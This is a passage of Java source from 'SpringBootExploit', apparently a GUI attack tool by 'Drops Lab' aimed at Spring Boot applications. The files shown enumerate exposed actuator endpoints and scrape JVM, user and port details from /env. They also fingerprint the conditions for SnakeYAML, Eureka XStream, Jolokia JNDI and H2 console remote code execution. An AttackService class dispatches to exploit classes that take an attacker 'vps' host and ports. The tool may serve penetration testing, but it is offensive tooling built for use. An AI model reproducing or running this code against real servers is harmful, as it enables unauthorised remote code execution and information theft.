// HttpResponse result = HTTPUtils.postRequestV2(target,"actuator/refresh");
// if (ResponseUtil.getStats(result) == 200){
// return true;
// }
return true;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/exp/util/VersionUtil.java 0000664 0000000 0000000 00000001273 14121252536 0026252 0 ustar 00root root 0000000 0000000 package com.drops.exp.util;
import cn.hutool.http.HttpResponse;
import com.drops.exp.JolokiaRealmRCEEXP;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
/**
* @ClassName: VersionUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/9 15:53
* @Version: v1.0.0
* @Description:
**/
public class VersionUtil {
public static boolean isVersion(String target){
if (HTTPUtils.getRequest(target,"env").isOk()){
return true;
}
return false;
}
// public static void main(String[] args) {
// String url = "";
// JolokiaRealmRCEEXP exp = new JolokiaRealmRCEEXP();
// exp.hasJolokiaRealmRCE()
// }
}
SpringBootExploit-1.1/src/main/java/com/drops/main/ 0000775 0000000 0000000 00000000000 14121252536 0022274 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/main/AttackService.java 0000664 0000000 0000000 00000010465 14121252536 0025675 0 ustar 00root root 0000000 0000000 package com.drops.main;
import com.drops.entity.ControllersFactory;
import com.drops.exp.*;
import com.drops.exp.util.VersionUtil;
import com.drops.poc.EurekaXstreamRCEPOC;
import com.drops.poc.SnakeYAMLRCEPOC;
import com.drops.poc.SpringBootInfo;
import com.drops.poc.SpringBootInfoCheck;
import com.drops.ui.MainController;
import com.drops.utils.Utils;
import java.util.ArrayList;
import java.util.List;
/**
* @ClassName: AttackService
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/2 15:38
* @Version: v1.0.0
* @Description:
**/
public class AttackService {
String target ;
String time;
MainController mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName()); ;
// SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
// SpringBootInfo info = new SpringBootInfo();
public AttackService(String targetAddressText, String httpTimeoutText) {
// this.mainController =
// this.time = httpTimeoutText;
// this.target = targetAddressText;
// this.infoCheck = new SpringBootInfoCheck();
}
public boolean gadgetSend(String target, String vps, String gadget, String[] ports){
SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
boolean flag = VersionUtil.isVersion(target);
// boolean flag = true;
// String type = "inje"
String env = "/env";
String env2 = "/actuator/env";
String hport = ports[0];
String lport = ports[1];
System.out.println(target);
System.out.println(vps);
System.out.println(gadget);
System.out.println("hport" + hport);
System.out.println("lport" + lport);
// System.out.println(echo);
try {
if (flag){
if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
return exp.sendExp(target,vps,hport,flag);
}else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
exp.hasEurekaXstreamRCE(target);
return false;
}else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);
}else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);
}else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);
}
}else {
if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
return exp.sendExp(target,vps,hport,flag);
}else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
exp.hasEurekaXstreamRCE(target);
return false;
}else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);
}else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);
}else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);
}
}
}catch (Exception e){
return false;
}
return false;
}
public void setPOCRequest(String target, String vps, String gadget,String echo){
}
}
SpringBootExploit-1.1/src/main/java/com/drops/main/Main.java 0000664 0000000 0000000 00000001212 14121252536 0024017 0 ustar 00root root 0000000 0000000 package com.drops.main;
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
public class Main extends Application {
public static void main(String[] args) {
launch(args);
}
@Override
public void start(Stage primaryStage) throws Exception {
Parent root = FXMLLoader.load(getClass().getResource("/a.fxml"));
primaryStage.setTitle("Spring Boot Vul Exploit by Drops Lab ");
Scene scene = new Scene(root);
primaryStage.setScene(scene);
primaryStage.show();
}
public Main(){}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/ 0000775 0000000 0000000 00000000000 14121252536 0022131 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/poc/EurekaXstreamRCEPOC.java 0000664 0000000 0000000 00000004575 14121252536 0026463 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ReUtil;
import com.drops.utils.Utils;
/**
* @ClassName: EurekaXstream
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 10:12
* @Version: v1.0.0
* @Description:
**/
public class EurekaXstreamRCEPOC {
private final MainController mainController;
public EurekaXstreamRCEPOC() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
/**
* @param target
* @Description: 判断是否存在spring-boot-starter-actuator
* eureka-client < 1.8.7（通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中）
* @return:
*/
public boolean hasEurekaXstreamRCE(String target) {
String regex = "eureka-client([A-Za-z0-9.-]+).jar";
String context = HTTPUtils.getRequest(target).body();
String version = "eureka-client-1.8.7";
// this.mainController.logTextArea.appendText(Utils.log("正在验证是否存在依赖spring-boot-starter-actuator以及 eureka-client 版本 < 1.8.7！"));
if (context.contains("spring-boot-starter-actuator")){
// this.mainController.logTextArea.appendText(Utils.log("存在依赖：spring-boot-starter-actuator"));
String result = ReUtil.hasVersion(context,regex);
if (result != null){
if (result.compareToIgnoreCase(version) >= 0){
this.mainController.logTextArea.appendText(Utils.log("依赖版本不符合，版本为：" + result));
}else {
this.mainController.logTextArea.appendText(Utils.log("依赖版本：" + result));
this.mainController.logTextArea.appendText(Utils.log("暂不支持eureka xstream deserialization RCE 利用！ "));
this.mainController.logTextArea.appendText(Utils.log("请手动利用！ "));
return true;
}
}else {
// this.mainController.logTextArea.appendText(Utils.log("eureka-client 依赖不存在！"));
}
}else{
// this.mainController.logTextArea.appendText(Utils.log("spring-boot-starter-actuator 依赖不存在！"));
return false;
}
return false;
}
} SpringBootExploit-1.1/src/main/java/com/drops/poc/H2DatabaseConsoleJNDIRCEPOC.java 0000664 0000000 0000000 00000002173 14121252536 0027561 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.exp.util.H2DatabaseUtil;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
/**
* @ClassName: H2DatabaseConsoleJNDIRCEPOC
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/5 13:58
* @Version: v1.0.0
* @Description:
**/
public class H2DatabaseConsoleJNDIRCEPOC {
private final MainController mainController;
public H2DatabaseConsoleJNDIRCEPOC() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
public boolean hasH2DatabaseConsoleJNDIRCE(String target){
String rootpath = URLUtil.getROOT(target);
if (H2DatabaseUtil.hasH2Database(target)){
int stats = HTTPUtils.getRequest(rootpath + "/h2-console").getStatus();
if (stats == 200){
this.mainController.logTextArea.appendText(Utils.log("存在 H2DatabaseConsoleJNDIRCE 漏洞！"));
return true;
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/JolokiaLogbackRCEPOC.java 0000664 0000000 0000000 00000005022 14121252536 0026542 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import cn.hutool.http.HttpResponse;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
/**
* @ClassName: JolokiaLogbackRCEPOC
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/29 14:51
* @Version: v1.0.0
* @Description:
**/
public class JolokiaLogbackRCEPOC {
private final MainController mainController;
public JolokiaLogbackRCEPOC() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
public boolean hasJolokiaLogbackRCE(String target){
String regex = "jolokia-core";
String context = HTTPUtils.getRequest(target).body();
// this.mainController.logTextArea.appendText(Utils.log("正在验证是否存在依赖jolokia-core"));
if (context.contains(regex)){
this.mainController.logTextArea.appendText(Utils.log("存在依赖jolokia-core"));
String url = URLUtil.getROOT(target) + "jolokia/list";
String url2 = URLUtil.getROOT(target) + "actuator/jolokia/list";
HttpResponse re = HTTPUtils.getRequest(url);
if (ResponseUtil.getStats(re) == 200){
String res = ResponseUtil.getBoby(re);
if (res.contains("ch.qos.logback.classic.jmx.JMXConfigurator") || res.contains("reloadByURL")){
this.mainController.logTextArea.appendText(Utils.log("存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词!"));
this.mainController.logTextArea.appendText(Utils.log("存在 jolokia logback JNDI RCE 漏洞"));
return true;
}
}else {
String res = HTTPUtils.getRequest(url2).body();
if (res.contains("ch.qos.logback.classic.jmx.JMXConfigurator") || res.contains("reloadByURL")){
this.mainController.logTextArea.appendText(Utils.log("存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词!"));
this.mainController.logTextArea.appendText(Utils.log("存在 jolokia logback JNDI RCE 漏洞"));
return true;
}
}
}
return false;
}
public static void main(String[] args) {
JolokiaRealmJNDIRCEPOC poc = new JolokiaRealmJNDIRCEPOC();
poc.hasJolokiaRealmJNDIRCE("http://127.0.0.1:9095/env");
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/JolokiaRealmJNDIRCEPOC.java 0000664 0000000 0000000 00000004375 14121252536 0026717 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import cn.hutool.http.HttpResponse;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
/**
* @ClassName: JolokiaRealmJNDIRCE
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/5 11:29
* @Version: v1.0.0
* @Description:
**/
public class JolokiaRealmJNDIRCEPOC {
private final MainController mainController;
public JolokiaRealmJNDIRCEPOC() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
public boolean hasJolokiaRealmJNDIRCE(String target){
String regex = "jolokia-core";
String context = HTTPUtils.getRequest(target).body();
// this.mainController.logTextArea.appendText(Utils.log("正在验证是否存在依赖jolokia-core"));
if (context.contains(regex)){
this.mainController.logTextArea.appendText(Utils.log("存在依赖jolokia-core"));
String url = URLUtil.getROOT(target) + "jolokia/list";
String url2 = URLUtil.getROOT(target) + "actuator/jolokia/list";
HttpResponse re = HTTPUtils.getRequest(url);
if (ResponseUtil.getStats(re) == 200){
String res = ResponseUtil.getBoby(re);
if (res.contains("type=MBeanFactory") || res.contains("createJNDIRealm")){
this.mainController.logTextArea.appendText(Utils.log("存在 MBeanFactory 和 createJNDIRealm 关键词!"));
this.mainController.logTextArea.appendText(Utils.log("存在 Jolokia RealmJNDI RCE 漏洞"));
return true;
}
}else {
String res = HTTPUtils.getRequest(url2).body();
if (res.contains("type=MBeanFactory") || res.contains("createJNDIRealm")){
this.mainController.logTextArea.appendText(Utils.log("存在 MBeanFactory 和 createJNDIRealm 关键词!"));
this.mainController.logTextArea.appendText(Utils.log("存在 Jolokia RealmJNDI RCE 漏洞"));
return true;
}
}
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/POC.java 0000664 0000000 0000000 00000001040 14121252536 0023410 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.URLUtil;
import java.net.MalformedURLException;
/**
* @ClassName: poc
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/27 16:58
* @Version: v1.0.0
* @Description:
**/
public class POC {
public void Port(){
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
// System.out.println(controller.getPorts());
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/SnakeYAMLRCEPOC.java 0000664 0000000 0000000 00000005116 14121252536 0025417 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ReUtil;
import com.drops.utils.Utils;
/**
* @ClassName: SnakeYAMLRCE
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 16:05
* @Version: v1.0.0
* @Description:
**/
public class SnakeYAMLRCEPOC {
public final MainController mainController;
public SnakeYAMLRCEPOC() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
/**
* @Description: 判断是否存在依赖spring-boot-starter-actuator
* spring-cloud-starter 版本 < 1.3.0.RELEASE
* @param target
*
* @return:
*/
public boolean hasSnakeYAMLRCE(String target){
String regex = "spring-cloud-starter-([A-Za-z0-9.-]+).jar";
String context = HTTPUtils.getRequest(target).body();
String version = "spring-cloud-starter-1.3.0";
// this.mainController.logTextArea.appendText(Utils.log("正在验证是否存在依赖spring-boot-starter-actuator、 spring-cloud-starter 版本 < 1.3.0！、snakeyaml"));
if (context.contains("spring-boot-starter-actuator")){
this.mainController.logTextArea.appendText(Utils.log("存在依赖：spring-boot-starter-actuator"));
String result = ReUtil.hasVersion(context,regex);
if (result != null){
if (result.compareToIgnoreCase(version) >= 0){
this.mainController.logTextArea.appendText(Utils.log("依赖版本不符合，版本为：" + result));
}else {
this.mainController.logTextArea.appendText(Utils.log("依赖版本：" + result));
if (context.contains("snakeyaml")){
this.mainController.logTextArea.appendText(Utils.log("存在依赖 snakeyaml ！"));
this.mainController.logTextArea.appendText(Utils.log("可能存在 spring cloud SnakeYAML RCE ！"));
return true;
}else {
// this.mainController.logTextArea.appendText(Utils.log("不存在依赖 snakeyaml ！"));
}
}
}else {
// this.mainController.logTextArea.appendText(Utils.log("spring-cloud-starte 依赖不存在！"));
}
}else{
// this.mainController.logTextArea.appendText(Utils.log("spring-boot-starter-actuator 依赖不存在！"));
return false;
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/SpringBootEnvInfo.java 0000664 0000000 0000000 00000002561 14121252536 0026353 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ReUtil;
import com.drops.utils.Utils;
import java.util.HashMap;
/**
* @ClassName: SpringBootEnvInfo
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 16:34
* @Version: v1.0.0
* @Description:
**/
public class SpringBootEnvInfo {
HashMap resultMap = new HashMap();
MainController mainController ;
public SpringBootEnvInfo(HashMap resultMap, MainController mainController) {
this.resultMap = resultMap;
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
private void EnvInfo(String target){
String result = HTTPUtils.getRequest(target).body();
if (result.contains("spring-boot-starter-actuator")){
this.mainController.logTextArea.appendText(Utils.log("存在依赖：spring-boot-starter-actuator"));
// mainController.logTextArea.appendText(Utils.log());
String re = ReUtil.hasVersion(result,result);
if (!re.isEmpty()){
this.mainController.logTextArea.appendText(Utils.log("存在依赖： " + re));
}else {
}
this.mainController.logTextArea.appendText(Utils.log(result));
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/SpringBootInfo.java 0000664 0000000 0000000 00000013471 14121252536 0025704 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.PropertiesBean;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @ClassName: SpringBootInfo
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/27 16:58
* @Version: v1.0.0
* @Description: Spring Boot Info
**/
public class SpringBootInfo {
List pointListV1 = new ArrayList<>();
List pointListV2 = new ArrayList<>();
static boolean SpringbootVersionV1 = false;
String[] basicPoint = new String[]{"cloudfoundryapplication","hystrix.stream" };
MainController mainController;
SpringBootInfoCheck infoCheck ;
public List gadget = new ArrayList<>();
List gadgetExp = new ArrayList<>();
// public SpringBootInfo(List pointListV1, List pointListV2, String[] basicPoint, PropertiesBean properties, MainController mainController) {
// this.pointListV1 = pointListV1;
// this.pointListV2 = pointListV2;
// this.basicPoint = basicPoint;
// this.properties = properties;
// this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
// }
// public SpringBootInfo() {
// }
public SpringBootInfo(){
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
this.infoCheck = new SpringBootInfoCheck();
pointListV1.add("autoconfig");
pointListV1.add("heapdump");
pointListV1.add("dump");
pointListV1.add("mappings");
pointListV1.add("auditevents");
pointListV1.add("beans");
pointListV1.add("health");
pointListV1.add("configprops");
pointListV1.add("info");
pointListV1.add("loggers");
pointListV1.add("threaddump");
pointListV1.add("metrics");
pointListV1.add("trace");
pointListV1.add("env/spring.jmx.enabled");
pointListV1.add("refresh");
pointListV1.add("trace");
pointListV1.add("jolokia");
pointListV1.add("env");
pointListV1.add("restart");
pointListV2.add("actuator/auditevents");
pointListV2.add("actuator/env");
pointListV2.add("actuator/restart");
pointListV2.add("actuator/refresh");
pointListV2.add("actuator/beans");
pointListV2.add("actuator/health");
pointListV2.add("actuator/conditions");
pointListV2.add("actuator/configprops");
pointListV2.add("actuator/info");
pointListV2.add("actuator/loggers");
pointListV2.add("actuator/httptrace");
pointListV2.add("actuator/threaddump");
pointListV2.add("actuator/metrics");
pointListV2.add("actuator/httptrace");
pointListV2.add("actuator/mappings");
pointListV2.add("actuator/jolokia");
pointListV2.add("actuator/jolokia/list");
// pointListV2.add("actuator/hystrix.stream");
pointListV2.add("actuator/env/spring.jmx.enabled");
pointListV2.add("monitor/auditevents");
pointListV2.add("monitor/beans");
pointListV2.add("monitor/conditions");
pointListV2.add("monitor/configprops");
pointListV2.add("monitor/env");
pointListV2.add("monitor/info");
pointListV2.add("monitor/loggers");
pointListV2.add("monitor/heapdump");
pointListV2.add("monitor/threaddump");
pointListV2.add("monitor/metrics");
pointListV2.add("monitor/scheduledtasks");
pointListV2.add("monitor/httptrace");
pointListV2.add("monitor/mappings");
pointListV2.add("monitor/jolokia");
// pointListV2.add("monitor/hystrix.stream");
gadget.add("SnakeYAMLRCEPOC");
gadgetExp.add("SnakeYAMLRCEEXP");
}
public boolean doCheck(String target) throws MalformedURLException {
String rootaddr = URLUtil.normalizeURL(target);
try {
if (this.infoCheck.CheckPointInfo(rootaddr)){
this.mainController.logTextArea.appendText(Utils.log("检测到 Spring Boot 404 特征！"));
}
if (this.infoCheck.check404(rootaddr)){
this.mainController.logTextArea.appendText(Utils.log("默认404页面返回200，无法准确爆破！"));
}
}catch (Exception e){
this.mainController.logTextArea.appendText(Utils.log(e.getMessage()));
}
try {
this.infoCheck.checkActuatorPointV1(rootaddr);
this.infoCheck.checkEnvPointV1(rootaddr);
if (!SpringbootVersionV1){
this.infoCheck.checkActuatorPointV2(rootaddr);
this.infoCheck.checkEnvPointV2(rootaddr);
}
this.mainController.logTextArea.appendText(Utils.log("检测流程结束! "));
}catch (Exception e){
this.mainController.logTextArea.appendText(Utils.log("遇到异常退出！"));
this.mainController.logTextArea.appendText(Utils.log(e.getMessage()));
}
return true;
}
void parseProperties(PropertiesBean properties){
if (properties.getHaveInfo()){
// this.mainController.logTextArea.appendText();
// infoCheck.
this.mainController.logTextArea.appendText(Utils.log("\tJVM信息:\t\t"+properties.getJvmName()));
this.mainController.logTextArea.appendText(Utils.log("\t端口信息:\t\t"+properties.getServerPort()));
this.mainController.logTextArea.appendText(Utils.log("\tJava版本:\t\t"+properties.getJavaVersion()));
this.mainController.logTextArea.appendText(Utils.log("\t用户名:\t\t"+properties.getUserName()));
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/SpringBootInfoCheck.java 0000664 0000000 0000000 00000017750 14121252536 0026646 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.*;
import java.util.Map;
import java.util.Properties;
import java.util.Scanner;
import java.util.UUID;
/**
* @ClassName: SpringBootInfoCheck
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 9:23
* @Version: v1.0.0
* @Description:
**/
public class SpringBootInfoCheck {
public String url;
public String method;
private MainController mainController;
private static final String DefalutEncoding = "UTF-8";
public static SpringBootInfo info = new SpringBootInfo();
public boolean SpringbootVersionV1 = false;
private SpringBootUtil SpringbootUtils = new SpringBootUtil();
public boolean isSpringbootVersionV1() {
return SpringbootVersionV1;
}
public void setSpringbootVersionV1(boolean springbootVersionV1) {
SpringbootVersionV1 = springbootVersionV1;
}
public SpringBootInfoCheck(){
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
/**
* @Description: 对目标首先进行特征检测
* @param target
*
* @return:
*/
public boolean CheckPointInfo(String target){
// mainController.logTextArea.appendText(Utils.log("target is -> " + target);
String url = URLUtil.normalizeURL(target + "404");
// mainController.logTextArea.appendText(Utils.log("url is -> " + url);
HttpResponse response = HTTPUtils.getRequest(url);
int statscode = response.getStatus();
String context = response.body();
if (statscode == 404 || statscode == 403){
return context.contains("Whitelabel Error Page") || context.contains("There was an unexpected error");
}
return false;
}
public boolean check404(String target){
// mainController.logTextArea.appendText(Utils.log("target is -> " + target);
String url = URLUtil.normalizeURL(target) + UUID.randomUUID();
// mainController.logTextArea.appendText(Utils.log("url is -> " + url);
return HTTPUtils.getRequest(url).getStatus() == 200;
}
// Spring Boot 1.x版本端点在根URL下注册。
public boolean checkActuatorPointV1(String target){
for (String point : info.pointListV1){
if (this.SpringbootUtils.checkPoint(target, point)){
this.setSpringbootVersionV1(true);
}
}
return false;
}
// Spring Boot 2.x版本端点移动到/actuator/路径
public boolean checkActuatorPointV2(String target){
for (String point : info.pointListV2){
if (this.SpringbootUtils.checkPoint(target, point)){
this.setSpringbootVersionV1(false);
}
}
return false;
}
// Spring Boot env端点存在环境属性覆盖和XStream反序列化漏洞
void checkEnvPointV1(String addr){
String url = URLUtil.normalizeURL(addr) + "env";
HttpResponse response = HTTPUtils.getRequest(url);
PropertiesBean properties = this.EnvParser(this.scannerOutput(new Scanner(ResponseUtil.getBoby(response))));
this.parseProperties(properties);
SnakeYAMLRCEPOC yamlrcepoc = new SnakeYAMLRCEPOC();
if (!yamlrcepoc.hasSnakeYAMLRCE(url)){
EurekaXstreamRCEPOC xstreamRCEPOC = new EurekaXstreamRCEPOC();
if (!xstreamRCEPOC.hasEurekaXstreamRCE(url)){
JolokiaLogbackRCEPOC logbackRCEPOC = new JolokiaLogbackRCEPOC();
JolokiaRealmJNDIRCEPOC realmJNDIRCEPOC = new JolokiaRealmJNDIRCEPOC();
if(!logbackRCEPOC.hasJolokiaLogbackRCE(url) || realmJNDIRCEPOC.hasJolokiaRealmJNDIRCE(url)){
H2DatabaseConsoleJNDIRCEPOC h2 = new H2DatabaseConsoleJNDIRCEPOC();
if (!h2.hasH2DatabaseConsoleJNDIRCE(url)){
}
}
}
}
}
// Spring Boot 2.x版本存在H2配置不当导致的RCE，目前非正则判断，测试阶段
void checkEnvPointV2(String addr){
final String url = addr+"actuator/env";
HttpResponse response = HTTPUtils.getRequest(url);
PropertiesBean properties = this.EnvParser(this.scannerOutput(new Scanner(ResponseUtil.getBoby(response))));
this.parseProperties(properties);
SnakeYAMLRCEPOC yamlrcepoc = new SnakeYAMLRCEPOC();
if (!yamlrcepoc.hasSnakeYAMLRCE(url)){
EurekaXstreamRCEPOC xstreamRCEPOC = new EurekaXstreamRCEPOC();
if (!xstreamRCEPOC.hasEurekaXstreamRCE(url)){
JolokiaLogbackRCEPOC logbackRCEPOC = new JolokiaLogbackRCEPOC();
JolokiaRealmJNDIRCEPOC realmJNDIRCEPOC = new JolokiaRealmJNDIRCEPOC();
if(!logbackRCEPOC.hasJolokiaLogbackRCE(url) || realmJNDIRCEPOC.hasJolokiaRealmJNDIRCE(url)){
H2DatabaseConsoleJNDIRCEPOC h2 = new H2DatabaseConsoleJNDIRCEPOC();
if (!h2.hasH2DatabaseConsoleJNDIRCE(url)){
}
}
}
}
}
public PropertiesBean EnvParser(String result){
PropertiesBean propertiesBean = new PropertiesBean();
try {
JSONObject jsonObject = JSON.parseObject(result);
JSONArray propertySources = jsonObject.getJSONArray("propertySources");
JSONObject propertySource;
if (propertySources.size() > 0) {
for (int i = 0; i < propertySources.size(); i++) {
propertySource = propertySources.getJSONObject(i);
String name = (String) propertySource.get("name");
if ("systemProperties".equals(name)) {
JSONObject properties = propertySource.getJSONObject("properties");
String jvmName = properties.getJSONObject("java.vm.name").getString("value");
String javaVersion = properties.getJSONObject("java.runtime.version").getString("value");
String userName = properties.getJSONObject("user.name").getString("value");
propertiesBean.setHaveInfo(true);
propertiesBean.setJvmName(jvmName);
propertiesBean.setJavaVersion(javaVersion);
propertiesBean.setUserName(userName);
} else if ("server.ports".equals(name)) {
propertiesBean.setHaveInfo(true);
JSONObject properties = propertySource.getJSONObject("properties");
String serverPort = properties.getJSONObject("local.server.port").getString("value");
propertiesBean.setServerPort(serverPort);
}
}
}
}catch (Exception e){
propertiesBean.setHaveInfo(false);
}
return propertiesBean;
}
public String scannerOutput(Scanner scanner){
StringBuilder builder = new StringBuilder();
while (scanner.hasNext()){
builder.append(scanner.nextLine()).append("\n");
}
return builder.toString();
}
void parseProperties(PropertiesBean properties){
if (properties.getHaveInfo()){
// this.mainController.logTextArea.appendText();
// infoCheck.
this.mainController.logTextArea.appendText(Utils.log("\tJVM信息:\t\t"+properties.getJvmName()));
this.mainController.logTextArea.appendText(Utils.log("\t端口信息:\t\t"+properties.getServerPort()));
this.mainController.logTextArea.appendText(Utils.log("\tJava版本:\t\t"+properties.getJavaVersion()));
this.mainController.logTextArea.appendText(Utils.log("\t用户名:\t\t"+properties.getUserName()));
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/SpringBootUtil.java 0000664 0000000 0000000 00000006305 14121252536 0025724 0 ustar 00root root 0000000 0000000 package com.drops.poc;
import cn.hutool.http.HttpResponse;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.drops.entity.ControllersFactory;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.PropertiesBean;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;
import java.util.Map;
import java.util.Scanner;
/**
* @ClassName: SpringBootUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 14:14
* @Version: v1.0.0
* @Description:
**/
public class SpringBootUtil {
// private static HTTPUtils httpUtils;
static HTTPUtils httpUtils = new HTTPUtils();
public MainController mainController ;
public static boolean flag = false;
// SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
public SpringBootUtil() {
this.mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());
}
public boolean checkPoint(String target, String point){
String url = URLUtil.normalizeURL(target) + point;
System.out.println("正在检测：\t" + url);
HttpResponse response = HTTPUtils.getRequest(url);
if (response.getStatus() == 200){
if (this.checkPoint(url, response)){
this.mainController.logTextArea.appendText(Utils.log("检测到 " + point + " 端点存在，已做验证：" + url));
flag = true;
}else{
this.mainController.logTextArea.appendText(Utils.log("检测到 "+ point +" 端点，请手工验证: "+ url));
}
}
return flag;
}
// https://blog.csdn.net/testcs_dn/article/details/79033009/
public boolean checkPoint(String url, HttpResponse resp){
String s = resp.body();
// hystrix.stream
if (url.contains("hystrix.stream")){
return "ping:".contains(s)||"data:".contains(s);
// health
}else if (url.contains("health")){
try {
Map res = (Map) JSON.parse(s);
return res.containsKey("status")||res.containsKey("diskSpace");
}catch (Exception e){
return false;
}
// beans
}else if (url.contains("beans")){
Map res;
try {
JSONArray objects = JSON.parseArray(s);
for (Object o:objects){
res = (Map)o;
